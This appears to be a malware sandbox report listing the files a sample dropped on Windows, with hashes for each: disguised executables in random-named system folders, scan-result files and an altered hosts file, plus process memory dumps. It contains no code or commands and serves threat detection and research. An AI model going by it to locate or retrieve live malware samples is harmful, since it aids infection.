C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\hrmeszcf\pnreyic.exe

Filesize
10.0MB

MD5
101e15a533c4886f11d8b19b87e5f384

SHA1
389452d07fa7824389c4bf07154939e4271640a8

SHA256
cc38044524d949517448b2841b478726a17ebb77b29128a128b5b93240445e7c

SHA512
01f6df54c11e4f8af48e7822427b13b630327ccffcf143e5f6f2969dbbbb01f83d403d4705cc3b9ae828c05531ad432357148e3ce15c4177b974393920f2e06b

Download Submit
C:\Windows\nblmptktz\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
828B

MD5
852c0bfcf23e7e9f5f63ec6854f5b7c9

SHA1
59003198f3605f5ea04270779729138499cf3c32

SHA256
1091fbe392a9b71fd5086869a314620ce0643940d6bb3da9e62706056e4235d5

SHA512
fe7095bd64cdf60ecebb1552821bf67a0d941c3c0e91bf8fc6fadc5aa150f6cf5989f5d45373c58dd97256f0c108a9278e24ae0adc7be7305c7ab771d46d8ed9

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
1KB

MD5
2719d568c37c1f49b134eb9221f387dd

SHA1
f4263c2f440d336ed6feb37a0e869ddabb54653e

SHA256
ed0dabfeaf257fc2393771032a291c0b44461fada10eff314574cb143a74defc

SHA512
449aca8982da801e33c452ba9677d32784c0e991e56377cef8e279a9f617e080d786915a3c6fb9d74e9072662898f0e6ee5374c5e6dc35d7cd447cdea454593e

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
1KB

MD5
cc25d2f40cf621c77b888d49615422c9

SHA1
018dd841450c7996000e722fbf396239b3e1bfd0

SHA256
c6d01758f31824f654d624f5bd87563b97869b8678ffd9b0905f113a232a9528

SHA512
11f1b28104de87767949ce202f7a26dabde27730dabe1c83d8f583a5a5b3f7f80fca156c80f1031ac280b7b259944102fd32cca53c55d72613720758c422e830

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
1KB

MD5
9a8be2cc841e92741e310bb42bd0fc8e

SHA1
3d37f21b961bdf4cc479c8390d5a2fe5d413aec6

SHA256
d3bdd8f447eef417333ea2992b9c507f630e10946feb34c0c6607964c72b0997

SHA512
626bcec8704b58cf44ab56814f76dbc60c3ee551d1922008138a1b299b09ec762671295807ec9cac5cb6bdafd4225d4062fcac454561b00d61a2e6891eacf2c8

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
2KB

MD5
d65d5aee08fd2e2cbb1188c83408de02

SHA1
ee7f8886a9415f086c775eed75598cdb32f37133

SHA256
a9a59c28045f4b488827c01d4face4d2fb0265880ecd7a52680e1f6dc52eb9d5

SHA512
28484088f63cdc85eacd6f1957b5d2e633ea792e6c233783eb9cb9d8a0cc91bd0436403edeb5b4e60c5a6999828a4d651b110344baee61bf8cd3cf60c32f7d8f

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
2KB

MD5
d9544b170eda0a2b4ad17fdbfc308d52

SHA1
d3f3f2128c9011d48a46e074e2a438acc9bc1313

SHA256
359ea0caca0756fe80ff975ce6d8148126ac2f5f54ba8daebe31462b1958785f

SHA512
b12a20310d47427dad6e55e20cbb016f67564578ec02849c4054213d41a82e5edc8f412dbc631e390b2aed6486cf41cc6f1803c9376a367f38b7e3567f3897f8

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
2KB

MD5
ae2c0728c69ecf10a55a73ab96e95c8b

SHA1
427d5b9d04efad9383488cce99e7bb0b8d7125d1

SHA256
0649b1ebf49abdf92ba99156bb189f7ce8777c9bf5ae4285c1e8488c8c9648dc

SHA512
de1ceb2bb54136804a4065ab3ddab181ba710865e5b9fd3e87ffa00d6710f04b90a15654588ccdc800ef9fe4617809d23828c826af21b2ee2700961d9714b155

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
2KB

MD5
91dc71e10179f24202c4b252de8bf7eb

SHA1
7dbc88bd8911daa6afa65df9599848b65736da94

SHA256
bab16ea5cc89debe659912c1ab8ad81fcb1cfc6f7ad6440e79e753093107c061

SHA512
2280e7ba9820ab6eafc4dc5efcaeb0ee71a6698fee9987bed3233afd03d0b060a51c787734a6a1975065afcb459397e6b88dbaed70cd378dc7a925873ca65bdd

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
3KB

MD5
1695d14f9e96afd49f13fbaada0e1fe6

SHA1
d7e94b34d3315f12395ff9d11975f7d33460bbb2

SHA256
f338275c6e103e8ec5d419a92501c2a9e56f5a37dcfdaa4290b20b76a8b27385

SHA512
e182ea40cc23f29a3982579408f83b3b3361e0336c611b9fd0ff157932364c2ea1dfd908fbf91a81dfe04008bede2a674112fea771d2d0b44e39644bba90f8a6

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
3KB

MD5
330126ed48202cfdbac84eb5a41b33d5

SHA1
8466b30a73676948615bb6cf2ba81e10f2e4bd98

SHA256
ba3d4cb643c77a6dbfcf972781b9085ab69b347d3da3814eda48523f6b0e6baa

SHA512
2f0a8bfd18827a8c2e74469e1ae0adeda8071f63315a06bc5a15ba088f43842d3834281c999a994466d090a5d74150722e3633226bf75a85b4292166ae0268e3

Download Submit
C:\Windows\nblmptktz\etgfqftjv\Result.txt

Filesize
4KB

MD5
47d56905f24580b6f0c862a8b17dcbca

SHA1
6e782bce4170b6822426d0597f9d0c93adce9c2b

SHA256
88df6e1538258423102b5bccebecbfc2aa1125ede9d98596b3c5fa55a6800285

SHA512
454e736d4b0a574b1993ea5ea89989779f166567c13c9816b53f6f0867904a022f8d546106952c5018824941661791fd19e3feb04b224ffffae54e494522e3b1

Download Submit
C:\Windows\nblmptktz\etgfqftjv\ttsqkuccf.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\nblmptktz\etgfqftjv\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/212-249-0x0000000000AA0000-0x0000000000AB2000-memory.dmp

Filesize
72KB

Download
memory/392-203-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/452-232-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/540-207-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/664-229-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/996-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1004-233-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-499-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-758-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-757-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-213-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-502-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-500-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-200-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-250-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-222-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-179-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-165-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-183-0x00007FF75C130000-0x00007FF75C250000-memory.dmp

Filesize
1.1MB

Download
memory/1004-168-0x0000023B50E20000-0x0000023B50E30000-memory.dmp

Filesize
64KB

Download
memory/1028-138-0x00007FF762460000-0x00007FF76254E000-memory.dmp

Filesize
952KB

Download
memory/1028-136-0x00007FF762460000-0x00007FF76254E000-memory.dmp

Filesize
952KB

Download
memory/1488-237-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/1608-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1608-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1620-142-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/1620-157-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/1848-225-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/1952-181-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/2096-235-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/2140-186-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/2680-149-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/2680-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2888-198-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/3012-176-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/3016-194-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/3100-211-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/3460-190-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/4124-78-0x0000000000D40000-0x0000000000D8C000-memory.dmp

Filesize
304KB

Download
memory/4728-172-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/4988-220-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download
memory/5104-216-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp

Filesize
364KB

Download